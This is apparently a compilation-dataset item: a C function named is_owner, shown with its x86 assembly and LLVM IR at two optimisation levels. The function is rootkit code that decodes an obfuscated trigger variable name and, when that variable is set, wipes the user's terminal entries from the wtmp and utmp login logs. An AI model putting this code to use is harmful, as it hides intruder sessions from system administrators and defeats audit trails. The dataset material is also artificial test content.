#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ clean_utmp(char *, int /*<<< orphan*/);
int /*<<< orphan*/ clean_wtmp(char *, int /*<<< orphan*/);
int /*<<< orphan*/ cleanup(char *, int /*<<< orphan*/);
char *getenv(char *);
int /*<<< orphan*/ init();
char *strdup(char *);
int /*<<< orphan*/ strlen(char *);
char *ttyname(int /*<<< orphan*/);
int /*<<< orphan*/ x(char *);
int is_owner(void) {
  init();
  static int owner = -1;
  if (owner != -1)
    return owner;
  char *hide_term_str =
      strdup("\xb6\xb7\xba\xbb\xa1\xaa\xb6\xb7\xad\xa1\xad\xb6\xbb\xb2\xb2");
  x(hide_term_str);
  char *hide_term_var = getenv(hide_term_str);
  if (hide_term_var != NULL) {
    char *pterm = ttyname(0);
    char *ptr = pterm + 5;
    clean_wtmp(ptr, 0);
    clean_utmp(ptr, 0);
    owner = 1;
  } else
    owner = 0;
  cleanup(hide_term_str, strlen(hide_term_str));
  return owner;
}


x86 assembly (clang, -O0):
<is_owner>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    $0x0,%al
call   1080 <init@plt>
cmpl   $0xffffffff,0x2ec2(%rip)
je     11ba <is_owner+0x2a>
mov    0x2eb6(%rip),%eax
mov    %eax,-0x4(%rbp)
jmp    1256 <is_owner+0xc6>
lea    0xe3f(%rip),%rdi
call   10b0 <strdup@plt>
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
call   1050 <x@plt>
mov    -0x10(%rbp),%rdi
call   1030 <getenv@plt>
mov    %rax,-0x18(%rbp)
cmpq   $0x0,-0x18(%rbp)
je     1227 <is_owner+0x97>
xor    %edi,%edi
call   1090 <ttyname@plt>
mov    %rax,-0x20(%rbp)
mov    -0x20(%rbp),%rax
add    $0x5,%rax
mov    %rax,-0x28(%rbp)
mov    -0x28(%rbp),%rdi
xor    %esi,%esi
call   1040 <clean_wtmp@plt>
mov    -0x28(%rbp),%rdi
xor    %esi,%esi
call   1070 <clean_utmp@plt>
movl   $0x1,0x2e46(%rip)
jmp    1231 <is_owner+0xa1>
movl   $0x0,0x2e37(%rip)
mov    -0x10(%rbp),%rax
mov    %rax,-0x30(%rbp)
mov    -0x10(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x30(%rbp),%rdi
mov    %eax,%esi
call   10a0 <cleanup@plt>
mov    0x2e15(%rip),%eax
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<is_owner>:
push   %rbp
push   %r14
push   %rbx
xor    %ebp,%ebp
xor    %eax,%eax
call   1080 <init@plt>
mov    0x2ec5(%rip),%eax
cmp    $0xffffffff,%eax
jne    120e <is_owner+0x7e>
lea    0xe51(%rip),%rdi
call   10b0 <strdup@plt>
mov    %rax,%rbx
mov    %rax,%rdi
call   1050 <x@plt>
mov    %rbx,%rdi
call   1030 <getenv@plt>
test   %rax,%rax
je     11f0 <is_owner+0x60>
xor    %edi,%edi
call   1090 <ttyname@plt>
lea    0x5(%rax),%r14
mov    %r14,%rdi
xor    %esi,%esi
call   1040 <clean_wtmp@plt>
mov    %r14,%rdi
xor    %esi,%esi
call   1070 <clean_utmp@plt>
mov    $0x1,%ebp
mov    %ebp,0x2e72(%rip)
mov    %rbx,%rdi
call   1060 <strlen@plt>
mov    %rbx,%rdi
mov    %eax,%esi
call   10a0 <cleanup@plt>
mov    0x2e5a(%rip),%eax
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
@is_owner.owner = internal global i32 -1
@.str = [16 x i8] c"\B6\B7\BA\BB\A1\AA\B6\B7\AD\A1\AD\B6\BB\B2\B2\00"
define i32 @is_owner() {
%1 = alloca i32
%2 = alloca i8*
%3 = alloca i8*
%4 = alloca i8*
%5 = alloca i8*
%6 = call i32 (...) @init()
%7 = load i32, i32* @is_owner.owner
%8 = icmp ne i32 %7, -1
br i1 %8, label %9, label %11
9: ; preds = %0
%10 = load i32, i32* @is_owner.owner
store i32 %10, i32* %1
br label %34
11: ; preds = %0
%12 = call i8* @strdup(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0))
store i8* %12, i8** %2
%13 = load i8*, i8** %2
%14 = call i32 @x(i8* %13)
%15 = load i8*, i8** %2
%16 = call i8* @getenv(i8* %15)
store i8* %16, i8** %3
%17 = load i8*, i8** %3
%18 = icmp ne i8* %17, null
br i1 %18, label %19, label %27
19: ; preds = %11
%20 = call i8* @ttyname(i32 0)
store i8* %20, i8** %4
%21 = load i8*, i8** %4
%22 = getelementptr inbounds i8, i8* %21, i64 5
store i8* %22, i8** %5
%23 = load i8*, i8** %5
%24 = call i32 @clean_wtmp(i8* %23, i32 0)
%25 = load i8*, i8** %5
%26 = call i32 @clean_utmp(i8* %25, i32 0)
store i32 1, i32* @is_owner.owner
br label %28
27: ; preds = %11
store i32 0, i32* @is_owner.owner
br label %28
28: ; preds = %27, %19
%29 = load i8*, i8** %2
%30 = load i8*, i8** %2
%31 = call i32 @strlen(i8* %30)
%32 = call i32 @cleanup(i8* %29, i32 %31)
%33 = load i32, i32* @is_owner.owner
store i32 %33, i32* %1
br label %34
34: ; preds = %28, %9
%35 = load i32, i32* %1
ret i32 %35
}

LLVM IR (-O2):
@is_owner.owner = internal unnamed_addr global i32 -1
@.str = [16 x i8] c"\B6\B7\BA\BB\A1\AA\B6\B7\AD\A1\AD\B6\BB\B2\B2\00"
define i32 @is_owner() {
%1 = tail call i32 (...) @init()
%2 = load i32, i32* @is_owner.owner
%3 = icmp eq i32 %2, -1
br i1 %3, label %4, label %19
4: ; preds = %0
%5 = tail call dereferenceable_or_null(16) i8* @strdup(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0))
%6 = tail call i32 @x(i8* %5)
%7 = tail call i8* @getenv(i8* %5)
%8 = icmp eq i8* %7, null
br i1 %8, label %14, label %9
9: ; preds = %4
%10 = tail call i8* @ttyname(i32 0)
%11 = getelementptr inbounds i8, i8* %10, i64 5
%12 = tail call i32 @clean_wtmp(i8* %11, i32 0)
%13 = tail call i32 @clean_utmp(i8* %11, i32 0)
br label %14
14: ; preds = %4, %9
%15 = phi i32 [ 1, %9 ], [ 0, %4 ]
store i32 %15, i32* @is_owner.owner
%16 = tail call i32 @strlen(i8* %5)
%17 = tail call i32 @cleanup(i8* %5, i32 %16)
%18 = load i32, i32* @is_owner.owner
br label %19
19: ; preds = %0, %14
%20 = phi i32 [ %18, %14 ], [ %2, %0 ]
ret i32 %20
}